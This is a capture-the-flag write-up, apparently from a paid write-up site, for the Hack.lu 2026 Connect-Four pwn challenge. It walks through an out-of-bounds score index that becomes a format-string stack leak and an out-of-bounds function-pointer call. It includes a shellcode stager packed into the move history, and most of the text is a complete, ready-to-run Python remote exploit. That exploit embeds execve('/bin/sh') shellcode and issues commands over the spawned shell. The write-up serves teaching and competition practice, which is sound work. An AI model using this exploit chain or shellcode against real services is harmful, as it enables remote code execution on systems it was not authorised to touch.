$ cat writeup.md…
$ cat writeup.md…
Hack.lu 2026
Task: pwn a Connect-Four game (x86-64 PIE, execstack) where score indices are attacker-influenced. Solution: score_ceo=6 turns player.name into a printf format string (stack leak); score_player=5 makes end_fns[-1] call a controlled 6-byte name; a read/push-ret stager is hidden in the 3-bit-packed move history.
Can you rally the team and remind the CEO who is shipping the product?
The CEO just closed a funding round and emptied a bottle of wine too much with the stakeholders. Enough slack despite the sprint to play a round of "CEOnnect Four", their favorite team alignment activity. But careful: the CEO doesn't take feedback well... Can you push to prod nevertheless?
English summary: we are given the source c4.c and a 64-bit ELF c4. It is a
Connect-Four game against a "CEO" opponent. We may play up to three games and
enter a player name each round (2/4/8-byte fgets buffers ⇒ 1/3/7 usable
characters). The binary is a PIE, dynamically linked, non-stripped, and linked
with an executable stack (-Wl,-z,execstack). The service is spawned by
ynetd through execle("/bin/sh","sh","-c","./c4",NULL,NULL), i.e. the
environment is stripped to NULL, so there is no environment-variable shortcut
and the flag lives only at /chal/flag.
The interesting parts of main are the two "score" variables and the two places
they are used as an index:
struct player_data { char name[8]; void (*end_fns[4])(void); }; struct ceo_data { char s[5][8]; }; struct hist_moves { int idx; char hist[64]; }; struct game_state { char f[6][7]; int played; struct hist_moves *hist; };
Outcomes only ever update the scores through count(), which returns the
longest run of a symbol (columns, rows, both diagonals) — not the total.
That matters, because a single move can merge two shorter runs and make the
returned value jump straight from 2/3 to 5, 6 or 7 instead of stopping at 4.
The main loop breaks when a score reaches >= 4, but the value it stored is
whatever count() returned, so it can overshoot.
score_ceo)printf("CEO is >>"); printf(win_strings.s[score_ceo]); // win_strings.s is char[5][8]
win_strings.s is a contiguous array of five 8-byte strings at rbp-0x80.
Indexing past it lands on other stack variables laid out immediately after it:
win_strings.s[5] = rbp-0x58 (padding, empty string)
win_strings.s[6] = rbp-0x50 = player.name <-- attacker controlled!
win_strings.s[7] = rbp-0x48 = end_fns[0]
If the CEO's run jumps to exactly 6, the program executes
printf(player.name) — a classic format-string bug where our 3-byte game-2 name
is the format string.
score_player)missing = 4 - score_player; (*player.end_fns[missing])();
end_fns has 4 entries (indices 0..3), matching missing in 1..4. But if the
player's run jumps to exactly 5, then missing = -1 and
end_fns[-1] reads *(uint64_t *)(rbp-0x50) — which is player.name itself.
The game therefore performs a direct call to an arbitrary 6-byte pointer
written into player.name during game 3 (7 usable characters: 6 bytes + NUL).
Measured register state at that indirect call (rax = target):
rdi = rbp-0x300 rsi = rbp-0x2d0 rdx = 0
rcx = 0 r8 = 0 r9 = 0
Both the name buffer and rsi are on the executable stack, and
hist.hist[] (a 64-byte array living at rbp-0xcc, i.e. the hist_moves
struct at rbp-0xd0 plus 4 bytes for int idx) is also on that executable
stack. rdx == 0 and rsi is a writable stack pointer — ideal for a read()
stager.
add_move() packs every move (0..6) into a 3-bit field of hist.hist[]:
static inline void add_move(struct hist_moves *hist, int move) { int idx = ++hist->idx; switch (idx % 8) { case 0: case 1: hist->hist[idx/8*3] |= move << (5-3*(idx%8)); break; case 2: hist->hist[idx/8*3] |= move >> 1; hist->hist[idx/8*3+1] |= move << 7; break; case 3: case 4: hist->hist[idx/8*3+1] |= move << (4-3*((idx%8)-3)); break; case 5: hist->hist[idx/8*3+1] |= move >> 2; hist->hist[idx/8*3+2] |= move << 6; break; case 6: case 7: hist->hist[idx/8*3+2] |= move << (3-3*((idx%8)-6)); break; } }
8 user moves ⇄ 3 bytes of hist.hist[], and every move in 0..6 is encodable
(move 7, which would be impossible from user input, is never required because a
valid move never uses all three bits). Because play_user() ignores the return
value of play_move(), a move into a full column still calls add_move(),
giving us "free" bytes for filler. Since the stack is executable, everything we
pack into hist.hist[] is directly runnable.
The full chain is:
Leak the stack (game 2). Make the CEO's run jump to 6 with the game-2
name "%p" (3 chars). printf(player.name) prints its first variadic
argument, which is the leftover rsi = rbp-0x2d0. Then
&hist (struct) = leak + 0x200 and hist.hist = leak + 0x204.
Smuggle a stager (games 1–3) into hist.hist[12..18] through the move
packing. 7-byte position-independent stager on the executable stack:
89 d7 mov edi, edx ; edi = 0 (edx == 0 at the call)
92 xchg eax, edx ; rax = 0 (SYS_read), edx = low32(target)
0f 05 syscall ; read(0, rsi, edx) -> rsi = rbp-0x2d0
56 c3 push rsi ; ret ; jump to the stage-2 buffer
The read() lands a second-stage payload on the writable, executable stack
at rbp-0x2d0, and push rsi; ret pivots straight into it.
Hijack (game 3). Game-3 name = hist.hist + 12 = leak + 0x210 written as
6 little-endian bytes + NUL. Game 3 ends with the player's run jumping to
exactly 5 so missing = -1 and (*end_fns[-1])() = call rax with
rax = leak + 0x210 — jumping into the stager.
Stage 2: the classic execve("/bin/sh", argv, NULL) shellcode is sent
over the socket after the "There are -1" prompt, then
cat /chal/flag is executed.
srand(1337) is fixed, so the CEO's sequence is a known stream
(glibc TYPE_3 LCG, reproduced in Python). All decisions can be precomputed
offline:
O in
hist.hist[], walk each 3-byte group and derive, per move slot, a
(mask, value) constraint. Moves in fully-covered slots become fixed;
boundary slots stay partially free (a handful of free bits, searchable);
uncovered slots are free.score_ceo == 6
(this is what arms the format string with game-2 name "%p").count('x') reaches exactly 5 after all stager bytes
have already been written, so the hijack happens with the stager fully in
place.Verified plan (23/22/20 moves; the packed history bytes end with the stager at
offset 12: ...6c300c0008522, hist.idx = 22/44/64, missing = -1):
G1 = 3 5 2 2 0 1 1 2 6 4 5 4 5 0 1 1 1 5 4 6 1 6 6 (CEO win, score_ceo = 4)
G2 = 2 2 6 1 0 5 5 1 1 4 2 3 5 3 6 2 2 0 3 6 0 2 (CEO win, score_ceo = 6 -> leak)
G3 = 5 2 6 6 0 6 0 0 3 0 0 0 0 1 0 2 4 4 2 2 (player win, score_player = 5 -> hijack)
hist.hist[] starts 4 bytes into struct hist_moves (after int idx), so
the jump target is &hist + 4 + 12 = leak + 0x210, not &hist + 12.GNU_STACK RWE flag, so
stack shellcode segfaulted locally even though the flag was set. The stager
and stage 2 were therefore validated in a harness that copies the payload into
an mmap'd PROT_READ|WRITE|EXEC buffer and jumps to it; the real remote
x86-64 honours -z execstack and the unmodified exploit works.fgets sizes are 1/3/7 usable characters for games 1/2/3; a leftover newline
in stdin is harmlessly read as an invalid move and retried.#!/usr/bin/env python3 """CEOnnect Four (Hack.lu 2026) - remote code execution exploit. Usage: exploit_rce.py <host> <port> [--ssl] """ import socket import ssl import sys import time import struct # Verified deterministic plan (srand(1337)); see Analysis for how it was found. G1_MOVES = [3, 5, 2, 2, 0, 1, 1, 2, 6, 4, 5, 4, 5, 0, 1, 1, 1, 5, 4, 6, 1, 6, 6] G2_MOVES = [2, 2, 6, 1, 0, 5, 5, 1, 1, 4, 2, 3, 5, 3, 6, 2, 2, 0, 3, 6, 0, 2] G3_MOVES = [5, 2, 6, 6, 0, 6, 0, 0, 3, 0, 0, 0, 0, 1, 0, 2, 4, 4, 2, 2] STAGER_OFF = 12 # stager offset inside hist.hist[] HIST_ARR = 4 # sizeof(int idx) before hist.hist[] in struct hist_moves LEAK_TO_HIST = 0x200 # &hist (struct) == leaked rsi + 0x200 NAME2 = b'%p\n' # game-2 name (3 chars) used as a format string # Stage 2: execve("/bin/sh", argv, NULL) STAGE2 = bytes.fromhex( '6a6848b82f62696e2f2f2f7350' '4889e7687269010181342401010101' '31f6566a085e4801e6564889e631d26a3b580f05') def enc(name, moves): out = bytearray(name) for m in moves: out += str(m).encode() + b'\n' return bytes(out) class Conn: def __init__(self, host, port, use_tls, timeout=15.0): s = socket.create_connection((host, port), timeout=timeout) if use_tls: ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE s = ctx.wrap_socket(s, server_hostname=host) s.settimeout(timeout) self.s = s self.buf = bytearray() def send(self, data): self.s.sendall(data) def _recv(self, timeout): self.s.settimeout(timeout) return self.s.recv(8192) def read_until(self, needle, timeout=15.0): end = time.time() + timeout while needle not in self.buf: if time.time() > end: break try: c = self._recv(max(0.2, end - time.time())) except (socket.timeout, ssl.SSLError, ConnectionResetError, OSError): break if not c: break self.buf += c return bytes(self.buf) def drain(self, timeout=1.0): end = time.time() + timeout while time.time() < end: try: c = self._recv(max(0.15, end - time.time())) except (socket.timeout, ssl.SSLError, ConnectionResetError, OSError): break if not c: break self.buf += c return bytes(self.buf) def close(self): try: self.s.close() except Exception: pass def parse_leak(buf): i = buf.find(b'CEO is >>0x') if i < 0: return None frag = buf[i + len(b'CEO is >>'):] tok = frag.split(b'\n')[0].split(b'<')[0].strip() try: return int(tok, 16) except ValueError: return None def attempt(host, port, use_tls, verbose=True): c = Conn(host, port, use_tls) try: c.send(enc(b'A', G1_MOVES) + enc(NAME2, G2_MOVES)) c.read_until(b'CEO is >>0x', timeout=20) c.drain(1.0) leak = parse_leak(bytes(c.buf)) if leak is None: return None hist = leak + LEAK_TO_HIST target = hist + HIST_ARR + STAGER_OFF name3 = struct.pack('<Q', target)[:6] + b'\x00' if verbose: sys.stderr.write(f'[*] leak(rsi)={leak:#x} hist.hist={hist+4:#x} target={target:#x}\n') if b'\n' in name3[:6]: return None # target had a newline byte; retry on a fresh process c.send(enc(name3, G3_MOVES)) got = c.read_until(b'There are -1', timeout=8) if b'There are -1' not in got: return None time.sleep(0.15) c.send(STAGE2) # lands at rsi via the stager's read() time.sleep(0.4) c.drain(1.0) for cmd in [b'cat /chal/flag\n', b'cat flag\n', b'cat /flag\n', b'ls -la /chal\n', b'id\n']: try: c.send(cmd) except OSError: break time.sleep(0.4) c.drain(1.2) if b'flag{' in bytes(c.buf): break return bytes(c.buf) finally: c.close() def main(): host = sys.argv[1] port = int(sys.argv[2]) use_tls = '--ssl' in sys.argv or port == 443 for _ in range(6): try: out = attempt(host, port, use_tls) except (OSError, ssl.SSLError): time.sleep(1.0) continue if out is None: time.sleep(0.5) continue sys.stdout.buffer.write(out) if b'flag{' in out: return 0 return 1 if __name__ == '__main__': sys.exit(main())
Run: python3 exploit_rce.py <host> <port> --ssl → shell → cat /chal/flag
→ flag{...} (redacted here).
Use this technique when:
count()
is used as an array index (win_strings.s[score_ceo],
end_fns[4 - score_player]) and can jump past its bounds by merging runs.printf(<stack array>[index]) where the index can reach a slot that aliases
attacker-controlled input ⇒ format-string leak (%p for the leftover
register rsi).(*fn_ptr[4 - score])() where the index expression can become negative ⇒
OOB read of a nearby, attacker-controlled pointer ⇒ arbitrary indirect call.-Wl,-z,execstack / GNU_STACK RWE plus a writable, attacker-influenced
buffer on the stack (hist.hist[]) ⇒ pack and run stack shellcode.srand(1337) fixed seed ⇒ the opponent's whole move stream is reproducible
offline, so board states and score jumps can be solved deterministically.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar